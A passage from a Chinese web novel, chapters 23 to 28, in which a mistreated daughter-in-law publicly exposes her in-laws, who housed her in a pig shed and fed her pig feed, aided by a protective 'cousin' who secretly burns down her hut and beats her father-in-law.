“这一个星期多亏有小晴照顾她爸啊,老话说的好,血浓于水,我们家小晴是真孝顺啊,不像某些人,公公病了都不去探望一眼的,亏我们之前还那么疼她,真是个白眼狼!”
第二十三章 吴桂花暴露了真面目
姜念挑高了眉头,看样子吴桂花还不知道她早就把顾晴蹲局子的事说出去了,居然还舔着脸给顾晴找借口。
她好悬没笑出声,揣手看好戏。
吴桂花口干舌燥讲了半天,就等着众人附和她的话,可左等右等,硬是没人吭声,还用很微妙的眼神盯着她。
她被盯得发毛:“怎么了?”
“桂花啊,你闺女这几天真的在照她爸?”
“那,那当然了,要不是有小晴帮着看永福,我一个人可熬不过来。”
“可我们怎么听说顾晴是去蹲局子了?”
吴桂花脑子嗡的一声,满口否定:“这怎么可能!”
“还装呢,啧啧,蹲了满打满算正好一个星期了吧,我就说你们怎么还不回来,原来是借着骨折的名头给你闺女遮丑啊,要是我们不知道真相,还真被你们给骗了。”
“就是,顾永福不就是骨折吗,我兄弟小舅子俩腿都断了,都没住满两天,怎么,你男人断的腿和我兄弟小舅子的不一样啊?”
有几个男人不怀好意地笑,顾永福本来就要脸皮,被这么意有所指的说,脸色漆黑。
还有人故意问顾晴:“蹲局子什么滋味啊,里头待的舒坦不?话说你是怎么蹲进去的啊,说出来给大家涨涨教训呗。”
顾晴刚出来本来就敏感,吴桂花在路上安慰她帮她瞒住了消息才平静下来。
可一回来就被人识破了,被人堵在家门口阴阳怪气嘲讽,大姑娘家的脸皮怎么受不得了?一时间又气又恨又臊,最后只能捂着脸跑进了屋。
见她这样,众人都知道说中了,任超男啧啧两声。
“明明是你闺女做错了事,你们帮着遮掩也就算了,可为啥非得踩着人家姜念给你闺女挣名声?欺负人家没亲妈撑腰啊?“
“人家姜念可都惦记着你们,闹着非得去照顾你们,可没办法啊,县里修路不让过,姜念都只能在家里干着急,吃不好睡不好的,都瘦成什么样了。”
姜念:……
看戏看得好好的,她差点没反应过来,连忙装可怜:“我这些天的确没睡好,公婆他们不在,我都没心思吃饭了……”
众人定睛一看,顿时哎呦了声。
“姜念是瘦了不少诶,差不多得三四十斤吧。”
是三十五斤。
姜念心里补充,这些天针灸初见成效,瘦了很多,她不仅身体轻盈了,脸色也好看了,气血更充足。
好在刚才裴淮州怕她冷,出来时给她围了个围巾遮住了大半张脸,要不然旁人一看她这胶原蛋白满满的小脸,任由任超男说破了天都不会信。
瘦了这么多是不争的事实,众人都信了姜念的话,纷纷指责起吴桂花。
"吴桂花,你不是号称咱村里最疼儿媳妇的好婆婆吗,怎么不问向南家的一句就说人家没良心?”
“你还信她的话呢,忘了上次在村口向南家的一伸手,好家伙,一手的伤,吴桂花要是真像她说的那么疼这儿媳妇,舍得让她干粗活,能连个药膏都不给买?”
“还有前几天大雪去县里没通车,她自己嫌累居然使唤向南家的走路给蹲局子的顾晴送衣裳。”
“哎呦喂,那大冷天的,向南家的冻得直哆嗦也不敢说一句不,深一脚浅一脚地就给送去了,这不也给瞒得死死的,生怕咱们知道,怕咱识破了她这个恶婆婆的真面目!”
“反正啊,她这张嘴我可不敢信了,说不定连以前说的那些话都是诓我们的。”
众人七嘴八舌议论,吴桂花听得脸色发白。
他们怎么知道小晴蹲局子了?
还差点扒了她的真面目!
吴桂花扫到揣手看热闹的姜念,立马明白了这一切都是姜念搞的鬼,好啊,仗着娘家人来撑腰都敢跟她作对了!
她把这账记下了,看她怎么收拾她!
吴桂花恶狠狠剜了姜念一眼:“你们说什么啊,我要是不疼姜念,她能从一个瘦子变得这么有福气?”
她苦笑一声:“这年头婆婆可真难当……我身正不怕影子斜,你们愿意怎么说就怎么说吧,永福,咱们走。”
可惜吴桂花算计的再好,等她走后,议论声却越来越大。
“怎么就这么走了,平时嘴皮子不挺厉害的,难道咱们刚才说的都是真的?
众人面面相觑,各有各的盘算。
倒是有人特别相信顾永福:“不至于吧,顾永福可是咱们出了名的老好人,能让吴桂花把儿媳妇折磨成这样?”
“这可说不定,一个被窝里
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可睡不出两种人。”
“向南家的,你自己说,你婆婆对你是不是两面三刀?”
姜念支支吾吾:“我婆婆对我还是挺好的,给我吃饱穿暖,阿嚏……”
“好好的怎么打喷嚏了?”
裴淮州拧眉:“天气冷是不是晚上冻感冒了?”
“茅草屋是有点漏风,没事,我挺一挺就好了。”
“什么茅草屋啊?”有人不知道,任超男立马接话,“你们不知道啊,姜念刚结婚就被吴桂花从新房里撵到了茅草屋住着,这一住就是三年啊。”
“什么?老顾家全都住着砖瓦房,连看门狗都有个石头垒的窝,向南家的却还住着茅草屋?”
这话如同沸腾的油锅里倒进了一盆冷水,炸的噼里啪啦的响。
“天啊,顾家的这茅草屋当时不是给猪盖的吗,还是在向南家的进门前匆匆盖起来的,质量能好到哪里去,可哪成想这屋子没给畜生住倒是给向南家的住了?”
“何止啊,这一住就是三年,吴桂花把她儿媳妇当什么了啊,这也太过分了!”
这下连老实人都忍不住为姜念发声了。
“你们说这事向南知道不?”
“知道啥啊,三年都不回家了都……”
“你们说部队真就这么忙?三年都不回来一趟?不是说有探亲假的吗?”有人嘀咕顾向南。
但这话立马被人给否定了:“你听听你说的啥话,人家向南可是部队当兵的呀,你见过哪个当兵的是坏人了?他要是知道姜念住在猪圈咳咳,茅草屋里能不回来撑腰吗?”
“是是是,是我想岔了,向南家的你别多想啊。”
姜念勉强笑了笑:“不会,我信他。”
心里却气的想吐血,虽然知道这年头老百姓对当兵的军人是盲目的相信,但在听到他们如此维护顾向南时,姜念还是忍不住的失落。
吴桂花他们好对付,姜念心里已经有了计划,可顾向南不愧是原书中的男主,光靠她这张嘴怕是没法实质性的伤害到他……
人都散了,姜念闷闷往回走:“我们也进去吧。”
可手却被裴淮州抓住。
她一愣,回头,看到裴淮州深深扎在原地,面无表情却让人胆寒。
“怎么了?”
第二十四章 冲进火海
他们竟然让她睡猪棚,她到底在他不在这三年里受了多少委屈!
滔天的怒意在胸腔咆哮,裴淮州眼底满是戾气,险些控制不住。
姜念喊了他好几声都没得到回应,心里有点发毛。
意识到吓到姜念,裴淮州深深闭了闭眼:“我没事。”
他声音沙哑,在姜念探究时摸了摸她的头:“没什么,外头冷,进屋吧。”
姜念总觉得裴淮州有点不对劲,可哪里不对劲又说不上来。
吴桂花他们一回来,裴淮州不能再住在她这里了。
姜念跟裴淮州说时,对上男人的双眼居然心虚了一下。
他们这样真的好像偷情啊,可分明他们两个清清白白的。
姜念还在想裴淮州要是不愿意她该怎么劝说,谁成想对方竟然一言不发抱起铺盖走了。
这么好说话?
姜念忽略掉心里那点别扭,准备去做饭却被吴桂花大声喊了过去,不知道顾永福跟她说了什么,吴桂花跟她说话的语气好多了。
“念念啊,刚才的话我是在气头上说的,根本不是我的真心话,我给你道个歉,你就原谅我吧。”
道歉?
吴桂花是会给她道歉的人?
恐怕道歉是假,给她挖坑才是真吧。
姜念不说话,静静看着她演。
果然,吴桂花没两句就一股脑给她安排了好几个活计。
“念念,这是这几天攒的衣裳,你给你爸洗出来。”
“回来记得烧水,我给你爸擦擦身子。”
“妈这几天累的不行,晚饭你也做了吧,最好能有俩荤菜,别放太多辣椒,医生不让你爸爸吃辣的。”
姜念冷笑,这么多活都给她干,让她闺女躲屋里睡大觉,合着这个家里就她一个喘气的了?
见姜念不动,吴桂花催促:“你快点哈,你爸等着呢。”
“这么多活,我一个人干不完。”
“怎么会干不完,你的能力我还不知道吗,要不是有你在,家里里里外外的操持着,向南也不可能毫无后顾之忧的在部队奔前程,等他回来了,我一定会让他好好跟你过日子,对你好!”
姜念表现出犹豫的样子:“您之前也没说过我是白眼狼啊,您不是说小姑子和你们才是血浓于水吗,我这个外人可不好插手你们的家事,所以这些事啊,你们都去找顾晴吧。”
“哎呦,小晴哪里有你能干啊,咱们家还是得靠你啊。”
姜念傲娇地哼了声:“我就知道我在家里比小晴重要,给我吧,我去给爸洗衣裳。”
“好嘞,多洗一会儿。”
送走姜念,吴桂花回了屋子跟顾永福得意地说:“你都听到了吧,姜念哪里变性子了?还不是跟以前一样任我搓圆捏扁?你就是想多了。”
顾永福皱着眉:“那她怎么一个星期都没来看我?还把小晴的事说出去了?总之,你得小心提防她。”
“行,反正你要养伤,家里的活我都丢给她做,让她成天在咱们眼皮子底下待着,我倒要看看她能翻出什么浪花来。”
姜念怎么可能干脆的去洗衣裳,等到了河里,反手就把衣裳全都扔在了河里,看着它们全部飘走,等人看见了才要跳河去捞。
自然是会被人拦下喽。
姜念超级大声:“婶子你放开我,那些是我公公的衣裳,要是飘走了我公公就没衣裳穿了啊。”
婶子心惊肉跳的:“没了就没了,这冬天水这么凉还这么深,你下去就是送死,衣裳能有人重要啊!”
“就是!”
姜念抹眼泪:“可那是我公公的衣裳啊……”
“等等,你公公的衣裳都给你洗?我看里面有个裤衩子吧,哎呦喂,你婆婆这也太不讲究了。”
“大冷天的,你怎么来河里洗衣裳?”有人问出了华点。
“公公腿受伤,柴火和煤炭都得省着用,这不是我婆婆说的,大家伙别误会,是我自己想来这里洗的。”姜念哭的泪眼朦胧的。
原本大伙儿还没往吴桂花那方面想,被姜念这么一提,顿时义愤填膺。
“肯定是吴桂花故意折磨你呢,大冷天的撵你来河里洗,你都不反抗吗?”
“婆婆说我洗了,向南才会跟我好好过日子……呜呜,我想跟向南好
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好过日子呀。”
远处的男人正好听到这句,脚仿佛生根一样死死定在了地上。
小赵被裴淮州的脸色吓得汗**倒竖:“裴处,你,你冷静啊,表妹这也是为情所困……”
一个狠戾的眼神扫过来,小赵顿时没了动静。
裴淮州最后深深看了姜念一眼,转身离开。
不远处,姜念看到了裴淮州大步离开的背影,愣了愣,然后就听到一个婶子骂了句脏话。
“咋了,这顾向南屁股上是镶金边了啊,你这么喜欢他?”
这话可太猛了,姜念差点笑出来,肩膀憋得直抖。
那个婶子恨铁不成钢:“你婆婆就这么一句话,你就跟个哈巴狗一样上赶着给你公公洗衣裳?”
姜念被吓住了一样,小声说:“不止洗衣裳,还要给公公做饭烧洗澡水……”
“啥,她还要你给你公公洗澡?”众人都倒吸一口冷气。
“不要脸!”
“老不修!”
“丧心病狂!”
姜念:……
姜念慌乱摆手:“不是,你们听错了,是烧洗澡水!”
别瞎传啊,她还要脸!
可婶子们骂起来没完了,明明姜念长得比所有人都胖,可还是被她们几个人硬是提溜起来,雄赳赳气昂昂带她去找吴桂花讨个公道。
虽然姜念是故意挑食,可这结果实在不是她能控制住的了。
就在她满脑子救救我的时候,老天爷看不下去了。
村里突然传来一阵汩汩浓烟。
顾家被烧了。
准确来说,是姜念的茅草屋被烧了。
浓烟滚滚,火焰舔舐了一切,茅草屋熊熊燃烧,有人试图救火可水一倒上去,火焰反而蹿的更高!
姜念人都傻了,忙看了看附近,**,裴淮州呢?
顾晴狼狈的跑出来,见到姜念,忽然小声说:“你表哥好像没出来……”
姜念脑子嗡的一声,顿时一片空白,她疯了一样冲进去,半道却被人抓住。
她疯狂挣扎,满脑子都是上辈子裴淮州闭上眼的样子……
“姜念!你跑进去试试!”
第二十五章 去找向南
这是裴淮州的声音!
看着姜念不顾一切往火场里冲,裴淮州简直目眦欲裂,手上的力气用的不小。
姜念吃痛,终于恢复理智,看到裴淮州还活生生站在她面前时鼻头一酸,眼泪瞬间冲出了眼眶:“裴淮州!你跑哪去了,我以为你还在屋里!吓死我了呜呜!”
姜念边哭边气的打他。
裴淮州却怔住了……姜念是去找他的,哪怕拼了命也要去救他?不是为了顾向南那些该死的信?
裴淮州猩红的双眼慢慢褪色,心也被她打的越来越软。
他一躲不躲地任由她打,要不是还有最后一丝理智克制着,他都想把人死死抱在怀里。
“哎呦我的屋子,你们快点救火啊!里面都是好东西啊!”吴桂花心疼地直抽抽,被人拦着也止不住她哭天喊地的嚎,可这火势太猛,无论怎么扑都无济于事。
村里人忙活了半天,等终于灭掉最后一丝火星子,昔日的茅草屋已经成了废墟。
吴桂花捂着胸口跌在地上,失魂落魄的看着这一幕。
她的新棉被新衣裳新柜子新家具啊,都被这场火给烧没了啊!
“冬天冷,你先披着我的衣裳。”
“不用了,这会儿挺暖和的。”
吴桂花回过神,双眼爆发怒火死死瞪着姜念,他们顾家屋子都烧没了,她居然还跟没事人一样!
吴桂花眼神仿佛都淬了毒,爬起来咬着牙质问她:“姜念,你跑哪鬼混了,要是你在家里,屋里根本不会着这么大的火!”
“我去鬼混?”这么多人呢,姜念立马戏精上身,委屈又害怕的小声说,“不是妈你让我去给公公洗衣裳的吗?我不在家,可你和小晴不都在家里吗,我房子都烧没了,你还要把这事都安在我头上,我……”
姜念哽咽着说不出话,抽泣着红了眼,她皮肤白,泪眼朦胧的跟个小兔子一样,众人都看不下去了。
“向南媳妇说的对啊,你们一大家子都在家里,火是在你们眼皮子底下着起来的,跟向南媳妇有什么关系?”
“幸亏她没在里边,要不然都不知道能不能活着出来,真是奇怪,这吴桂花不是最疼向南媳妇了吗,怎么一上来就是指责?”
“啧,你寻思呢,都让儿媳妇洗自己男人裤衩子了,能是什么好婆婆?”
“什么裤衩子,谁让你洗裤衩子了?”吴桂花忽然反应过来,“你出去洗的衣裳?”
她把衣裳扔给姜念就没管了,本来因为她是偷懒跑出去了,可,可她居然大冷天跑去外头洗了!
姜念委屈地说:“不是妈你说的吗,家里的柴火得留着给爸熬夜,我只能去河里洗了,可我一不小心把爸爸的衣裳都掉进河里,水又太凉了,所以……”
姜念歉意地看向脸已经黑了的顾永福:“爸,你没衣裳穿了。”
顾永福:……
起火的匆忙,他裹着棉被出来的,里面光溜溜的,所以,他以后连个裤衩子都没得穿了?
吴桂花猛地捂住胸口,眼前一黑,心疼地差点气出血来:“你疯了啊,那可是你爸所有的衣裳,你全丢了,让你爸穿什么!”
她存了心折磨姜念,让她洗的衣裳肯定是越多越好,反正顾永福腿伤了躺床上养着就行,索性把两身棉衣也丢给了姜念。
原本以为她会跟以前一样傻乎乎的费劲洗干净,可谁成想她居然把衣裳都扔了啊!
姜念吓得缩了缩脖子:“我又不知道你要我洗我爸所有的衣裳……”
其余人听到这话,立马撇嘴:“我看吴桂花这就是搬起石头砸了自己的脚,要不是她想磋磨儿媳,自己男人怎么可能光着腚连个裤衩子都没得穿?”
“就是,这大冷天的在家里洗衣裳都受罪,你还让向南媳妇跑去河里洗那么多衣裳,真是丧心病狂!”
顾晴看着姜念三言两语就煽动大家都替她出头,恨得牙痒痒:“姜念,你就是个扫把星,自打你嫁进我们家,我家就没一个好日子,我哥常年在外不回来,我……”
顾晴到底把自己给摘了出
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去:“我爸摔断了腿,屋子着了火,要不是我们福大命大早就葬身火海了。”
“见了面你对我们一点不关心还嘲讽我妈,要是让我哥知道你还这么跟我妈说话,你觉得他还会喜欢你吗?还不赶紧跟我们道歉!”
“否则就别怪我跟我哥告状!”
又提顾向南,裴淮州眼底一沉,直接打断她的话:“这火到底怎么烧起来的,我想没人比你更清楚,你还不打算说实话吗?”
姜念一愣,其余人也竖起耳朵,顾晴眼里闪过一丝心虚:“你跟姜念是一伙的,说出来的话谁信啊,别想冤枉我!”
“冤枉你?”裴淮州呵笑,“你家的灶房跟我表妹的屋子那么近,我亲眼看见你在烧火,要不是你粗心大意,房子怎么可能被烧?”
顾晴心一提。
她的确是去烧火了但不知道为什么忽然睡了过去,再醒来就看到柴火全都烧起来还蔓延到了隔壁茅草屋,她怎么扑都扑不灭,只能装什么都不知道跟爸妈一起跑了出来。
难道,她睡着的时候被裴淮州看见了?
顾晴一脸的心虚,结巴:“你说看见就看见了,有什么证据吗?”
“当然没证据。”
众人咦了声。
姜念也有点失望。
转而裴淮州讥笑:“毕竟我又不能未卜先知算出这房子着火,但这屋里就你们三个人,谁在厨房,你们心知肚明。”
这话简直比拿出证据还要让人信服。
果不其然,包括吴桂花两人在内,所有人都认定了是顾晴纵火。
顾晴气的不轻,急切地解释了半天也没人肯信。
反而看她这么急,都认为她是心虚。
远远藏在石头后的小赵:……
裴处这张嘴呦,除了不会哄媳妇,黑的都能说成白的。
姜念叹了口气:“没想到爸妈和小姑子你们是这么对我的,这家我是待不下去了。”
“我还是去找向南吧,他会信我的。”
裴淮州:……
笑容僵住。
第二十六章 吴桂花,你居然给我们吃猪饲料!
“不行!”
吴桂花脱口而出,她反应太大,惹得众人奇怪:“为什么不行,人家姜念是你们家向南的正经媳妇,去找自己男人天经地义。”
吴桂花这才意识到自己反应太激烈,笑着打马虎眼:“我的意思是向南还没有家属随军的资格,担心念念白跑一趟啊。”
“那也比在家里被爸妈冤枉强,”姜念苦涩一笑,“再说我只是去几天又不是随军,我想部队不会不同意的,我表哥清楚,对吧,表哥。”
姜念给裴淮州使眼色配合自己,可裴淮州浑身硬成了一个冰柱子,死活不开口。
裴淮州何止不想说话,他还想**。
她还想去部队住几天?跟谁一起住,那个畜生吗?
他也配!
可衣角被姜念揪住晃了晃,裴淮州狠狠闭了闭眼,到底还是配合:“你说的对,打个报告就行。”
“我表哥是从部队出来的,他说可以就是可以,”姜念转身,“我这就去找村长开介绍信。”
“不行!”吴桂花脸都变了,急的扯住姜念。
顾永福也顾不得光腚了,连忙说:“都是我们的不对,你别这么激动,小晴,还不赶紧给你嫂子道歉!”
“凭什么,我又没错,”顾晴没想到爸妈都会为姜念说话,既委屈又愤怒。
“看来小晴对我还有意见,这个家容不下我了,我还是去找向南吧……”
吴桂花脸都绿了,一个劲给顾晴使眼色:“没意见没意见,小晴还小,脾气上来了而已,顾晴,还不快点道歉,别让我说第三遍!”
“我就不……啊!”
啪的一声脆响,吴桂花一个巴掌狠狠甩在了顾晴脸上,顾晴脸都被打歪了。
众人都倒吸了口冷气。
脸上火辣辣的疼,顾晴不敢置信地看吴桂花:“妈,你打我?你为了一个外人打我?”
吴桂花恨铁不成钢:“我让你给你嫂子道歉!”
“爸!”
顾永福黑着脸:“道歉!”
顾晴捂着脸摇头,泪流满面:“我才不道!有本事就让她去找我哥,看看我哥到底站谁那一边!”
“姜念,你给我等着!我不会放过你!”
顾晴哭着跑了,吴桂花想追但得先安抚姜念。
“小晴都被我们惯坏了,念念啊,你这个当嫂子的就别跟她一般见识,等她回来了我再收拾她。”
顾永福:“你想去找向南也行,但这车票什么的都没买也没跟他说,说不定他现在还在出任务,万一再扑了个空岂不是白跑一趟?”
“这样,等过几天我们一起去邮局打个电话,要是他在部队没出任务,你尽管去,家里给你出路费。”顾永福看似周全地说。
“对对对,先打个电话看看。”吴桂花想起在邮局的亲哥也附和。
话都说到这地步了,姜念要是再闹就成了她没理。
姜念叹了口气,妥协了:“我也不是占了便宜还卖乖的人,既然爸妈这么通情达理,那就麻烦舅舅了,后天就去打电话。”
“诶,好好好。”
吴桂花总算松了口气,等明天她就去县里找她哥,姜念想去部队,绝对不可能!
姜念心里门清,吴桂花他们这是打算假意答应她再让吴国强把她糊弄过去,正好,她正愁没法一起收拾了吴国强,机会不就来了吗?
姜念笑着招呼大家:“天色还早,各位叔伯婶子帮着我们家灭火肯定来不及回家做饭了,就在我们家吃吧,正好我爸也是刚出院,一块办个席去去霉气吧。”
“爸妈,你们说呢?”
别人帮了大忙,怎么能让人空着肚子回去,这都是村里的人情世事。
顾永福应了:“是该请吃饭,你跟你妈先去做饭吧,我去找人借点桌椅板凳。”
这二十几个人吃饭,两个人怎么忙的过来,好在有任超男几个婶子帮忙,杀鸡炖肉,不出仨小时就把饭都做好了。
二十几个人分了五张大桌子,热热闹闹吃着。
顾永福虽然光着腚但看着村里有这么多人都过来帮忙,觉得特有面子,忍不住跟姜念说一些为人处世的大道理。
姜念左耳朵进右耳朵出,心里倒数,三二一。
吧嗒一下,有人摔了碗筷,捂住了肚子哀嚎。
“哎呦,肚子好疼。”
“你咋了,哎哟,我这肚子也好疼。”
“嘶,我怎么也……”
有几个桌
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子上的人哗啦倒了一大片,吴桂花原本正在跟几个婶子说话,说到口干舌燥才把关系修复好,结果转头就看到这一幕,吓了一跳。
“这是怎么了?”
“你还有脸问,我们是吃了你家的饭才疼起来的,你是不是给我们下毒了?”
“这怎么可能!”
有个婶子声音比吴桂花的还尖:“怎么不可能?你闺女都敢给县长下毒你们也能给我们下毒!我就不该来的,能教出顾晴这种闺女的,你吴桂花又能是什么好货色!”
说话的人在县里也有亲戚,走亲戚才知道顾晴是因为给县长下毒才被抓起来的。
吴桂花这话不好接,急的直跺脚:“我闺女才没下毒,这都是误会!”
“误会?那我们吃了你们的饭就肚子疼难道也是误会吗,哎呦!”
任超男拧眉:“吴桂花你老实说,你给菜里放了啥东西?”
“我没有啊!”
吴桂花简直百口莫辩,要知道这种农家席做的好没人夸,但要是做的不好,那是要被村里人念叨一辈子的,她就算再傻也不会干这事啊!
除非有人故意要害她!
吴桂花想到这,立马去看姜念,见她好端端的站着,恨得牙齿都咬碎了:“是你?你跟我一起做的饭,是不是你背着我往菜里偷偷下了药?”
姜念故意眼神闪烁,怯弱说:“妈,你说什么呢?大家都是来救火的,我怎么可能给大家下药?”
见姜念这样,吴桂花就知道肯定是她搞的鬼,饭菜,灶房,灶房肯定有古怪。
她拔腿就灶房跑,大家伙都跟进去,就见她疯了一样找东西,忽然,在看到被塞在墙角的东西时露出了胜利的笑容。
“我就知道肯定是你做的,东西都被我找出来……”话音戛然而止,吴桂花看到拽出来的东西时,脸上瞬间没了血色,连忙往回塞。
可她把大家都引了进来,有人直接把东西扯出来。
吴桂花脸色大变:“别!”
然而为时已晚,那张印着母猪吃东西的饲料袋子就这样展示在了众人面前。
轰的一声,所有人都炸了!
“吴桂花,你疯了!居然给我们喂猪饲料!”
第二十七章 顾家人真面目被拆穿,众人唾弃
“没没没,这怎么可能!这是给猪吃的,我怎么可能给你们吃?”
“可你们家没有猪,你这猪饲料不是给我们吃还能是给谁吃?”
“是给我吃的。”一道很弱的声音。
众人齐齐一愣,纷纷看向姜念,难掩错愕。
猪饲料……给人吃?这是多么荒谬的事!
裴淮州脑子也嗡的一声,滔天的怒意在胸中咆哮,他盯着姜念,眼底满是锋利的戾气:“他们居然,居然敢给你吃……”
猪饲料三个字,裴淮州甚至都说不出口,脸色阴沉的能滴水。
姜念一副乍然得知真相,接受不了的恍惚样子:“妈,我之前问过你,你不是说这是给我买的营养品吗,我是觉得大家今天累惨了才给他们吃的,怎么可能是猪,饲料……”
她眼泪大颗大颗的落下,哭的众人都不忍再看下去。
“怪不得我吃的那么少还这么胖,”姜念忽然笑起来,那比哭还难看,“怪不得你们不吃只让我自己吃,我还以为你们是真的心疼我,原来,原来是把我当畜生养!”
“我对你们掏心掏肺,可你们顾家人到底把我姜念当什么了!”
姜念崩溃大声控诉,撕心裂肺地哭,看的大家揪心不已。
霎时,裴淮州气的浑身颤抖,在听到最后一句时再也克制不住,揪起顾永福一拳就揍了上去。
男人挥出去的拳头都带着拳风,一下两下,顾永福发出杀猪的惨叫声。
无论顾永福怎么喊怎么叫,裴淮州都红着眼一拳一拳揍上去,那架势,分明是冲着弄**去的!
众人看的胆战心惊忙去拉架,可谁知他看着斯斯文文的,三四个人竟然都拽不住他。
姜念被裴淮州这股狠劲吓住了,但很快反应过来忙去拉他。
“别打了,裴淮州你住手,再打就要出人命了。”
“他们这么对你,他该死!”裴淮州眼眶猩红,姜念看的心惊肉跳,“我知道,我知道,你手都流血了,让我看看,看看你再打他。”
姜念好说歹说才把人给劝住了,裴淮州跟丢垃圾一样把人摔在了吴桂花身上,后者被砸的一个踉跄,哎呦着都爬不起来。
顾永福被揍的晕了过去,吴桂花费劲巴拉爬出来扑到他身上哭:“老顾你醒醒啊,你不能死啊……”
“大家伙快点帮我救救她,村长,你们难道要眼睁睁看着老顾**吗!”
“这里面肯定有误会,可这哪里有救人重要?”
对于猪饲料的事,吴桂花没反驳,只是在转移话题,意味着什么,大家都不是傻子,自然都想明白了。
他们顾家真的给人家姜念喂猪饲料啊!
多么丧心病狂!多么骇人听闻!
村长失望摇头:“你们真行啊,要不是这茬事,我还真以为你们顾家是真心疼儿媳妇的。”
“顾永福死不了,你害大家吃了饲料**,要是有人愿意帮你,我不拦着,但我不会再帮你们家,要不然良心上过不去!”
村长走了。
吴桂花没了主心骨,彻底慌了:“别,村长你别走啊,我家老顾还生死不知啊,求求大家,求求大家先救救他。”
“向南回来肯定会报答你们的。”
她哭的一把鼻涕一把泪,爬到好几个人前面求他们帮她,可众人都跟躲苍蝇一样躲着她。
“可别,你们一家子都不是好东西,顾向南说不定也不是个好的,我可不敢跟你们扯上关系,嫌脏!”
“拜你所赐,我肚子还疼呢,还想让我救人,想得美,媳妇,咱们走。”
要不是看着姜念吃了三年的猪饲料都没事,他们肚子疼的肯定不敢走。
眨眼间,原本热热闹闹的席面就走的只剩下几个。
见顾永和没走,吴桂花眼睛都亮了:“永和兄弟,老顾可是你哥哥啊……”
“别来沾边,我们不跟给媳妇吃猪饲料的人谈兄弟,”任超男拽着顾永和躲开,心疼的去看姜念,“发生了这么多事,你房子还被烧没了,来婶子家里住吧。”
裴淮州嘶哑开口:“不用,我带她去县里住招待所。”
这才是他烧房子的目的,顾永福腿断了肯定要人照顾,
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念念心软,继续在顾家住着指不定会被怎么欺负,他这几天忙,也怕她会突然跑去找顾向南……
可这一切初衷都比不上他如今要带着姜念离开这肮脏之地的迫切。
姜念疑惑:“招待所不是没房间了吗?”
裴淮州面色如常:“赵大哥今早跟我说的有了房间,你是我的表妹算是家属,去住招待所单位报销。”
小赵:……
他装成刚进村的样子过来:“裴处,你让我留的招待所我都留好了,咱们走吧,车子已经开进来了。”
裴淮州牵住姜念的手:“我们走。”
姜念有点不自在,她想抽开手:“裴淮州,你先松开我。”
可这时,转角处忽然传出滴滴两声,正往家走的众人纷纷看过去,一辆红旗车缓缓行驶过来。
“嘶,这是小轿车吧,真威风!”
这年头小轿车可是稀罕物,在县里都难得见一辆,没想到在村里就能看见,大家伙都惊讶的瞪大了眼。
“这向南媳妇的表哥什么来头啊,都有小轿车接送?”
“说是什么研究员。”
“那是不是比顾家大儿子还出息?他到现在都没混上个家属随军资格呢,人家表哥说带走就把姜念带走了,还是去县里住招待所哩。”
“看来这表哥来头不小啊,这顾家人不就是仗着姜念跟家里人断了亲才敢这么磋磨儿媳妇的吗,现在看,啧,这是踢到铁板了啊。”
“呵呵,活该!这种人早该有人来治他们了!”
临上车前,姜念回头:“后天中午我在邮局门口等顾家人一起给向南打电话,婶子们帮我记着点,我怕他们**不来,麻烦你们帮着催一催。”
啧啧这是伤心**,连爸妈都不喊了啊。
众人心里嘀咕又连连点头:“诶诶诶,好,你放心,有我们呢。”
他们是打心眼里希望姜念能去部队,总比在家里被顾家人折磨强啊。
至于吴桂花和昏死过去的顾永福,经此一事,村里人都看穿了他们的伪善的真面目,是死是活,没人在意。
第二十八章 嫂子
车上,姜念沉默着注视着车窗外,思考接下来该如何做。
可她这样,却让裴淮州误会了,眸子幽深。
她还在为顾家人伤心?
“念念。”
姜念回头:“怎么?”
裴淮州看着她,冷静又犀利地开口。
“但凡顾向南对你有一点感情,顾家人都不会做到这种地步,所以,顾向南根本不爱你,只不过是把你当成伺候吴桂花他们的保姆。”
“这种男人,到底有什么值得你念念不忘?”
……顾向南!
姜念猛地开口,神情紧张:“停车!”
裴淮州嘴角苦涩,都到这地步了念念还如此在意那个狗东西,他连提都不能提一嘴吗?
姜念声音急促:“我有重要的东西没拿,裴淮州,你让他们停车。”
裴淮州见姜念急的像是要跳车,深吸一口气才挤出几个字:“停车。”
姜念立马跳车,飞奔去了一个小土坡。
她是走了,可怜了小赵和司机,冰冷的气息迅速席卷了车内的空间,小赵胆战心惊地看向后座的男人,只见男人狭长的凤眸一瞬不瞬的盯着跑远的姜念,里面的情绪浓郁的化不开。
小赵后颈汗**都竖起来了,好在姜念很快回来了,就是怀里紧紧抱着什么东西,而那东西……怎么那么像姜念藏信的饼干盒子!
裴淮州显然也认出来了,阴沉沉地盯着破盒子:“……这里面是什么?”
“我的宝贝,等到后天你就知道了,我有大用处呢。”
姜念说着忽然摸了摸自己的胳膊。
车里怎么这么凉?
接下来的时间,车里一片死寂,姜念觉得有点不对劲,想问问裴淮州,扭头却发现对方双眼紧闭,面部线条锋利又坚硬,一下变的生人勿近起来。
姜念不敢说话了,老老实实抱紧了盒子闭上了嘴,裴淮州应该是在想工作上的事吧,严肃到吓人了。
车子很快到达招待所,裴淮州没下车,淡淡看着姜念:“这几天我会忙一些,你乖乖待在招待所,别让我费心。”
什么叫别叫他费心?姜念缓缓点头:“哦,好。”
车子走了,姜念旁边多了个小赵:“赵大哥你不跟着裴淮州吗?”
小赵笑容腼腆:“裴处让我先把你安排好,咱们进去吧。”
裴淮州这一走就是一天一夜,姜念也没人打听,但奇怪的是,只要她离开招待所就总觉得有人跟着她。
她找了好几遍都没见到有什么人,只以为是她感觉错了,直到她看到了和顾晴在一起的王洋。
小巷里,姜念后退几步,顾晴得意的拦着王洋的手臂,身后是几个街溜子。
“姜念,我说过不会让你好过的,洋哥,就是她,当众下了我的面子还把我的事抖漏出去……你可得为我报仇!”
王洋不老实的往姜念浑身上下看,重点在她鼓鼓的胸脯处停留了一会儿:“之前怎么没听你说你嫂子瘦了这么多?”
“洋哥~”顾晴不开心地撒娇,“她就是个死胖子,哪里有我好?”
王洋手掐了掐顾晴的后腰,黏腻舔了舔唇:“这倒是真的,算了,兄弟们,去,给你们嫂子报仇。”
姜念挑眉:“抖漏你的事,你说的是哪个?给县长下药蹲了七天的局子这个?”
顾晴没想到姜念会这么不顾忌地说出来,脑子嗡的一声,她可是她哥最疼的妹妹,姜念就不怕自己找她哥告状吗!
“你胡说!”
“什么给县长下药,你还蹲了局子?”王洋狐疑质问顾晴,他想起来,他是有很多天没见过顾晴,那些天请兄弟们的饭钱都是他自己出的。
“没有没有,你别听她瞎说,她自己婚姻不顺,看不惯我们感情好才故意在你面前抹黑我的!”顾晴慌乱地解释,恶狠狠瞪着姜念,让她闭嘴。
要是眼神能**,分分钟把姜念大卸八块。
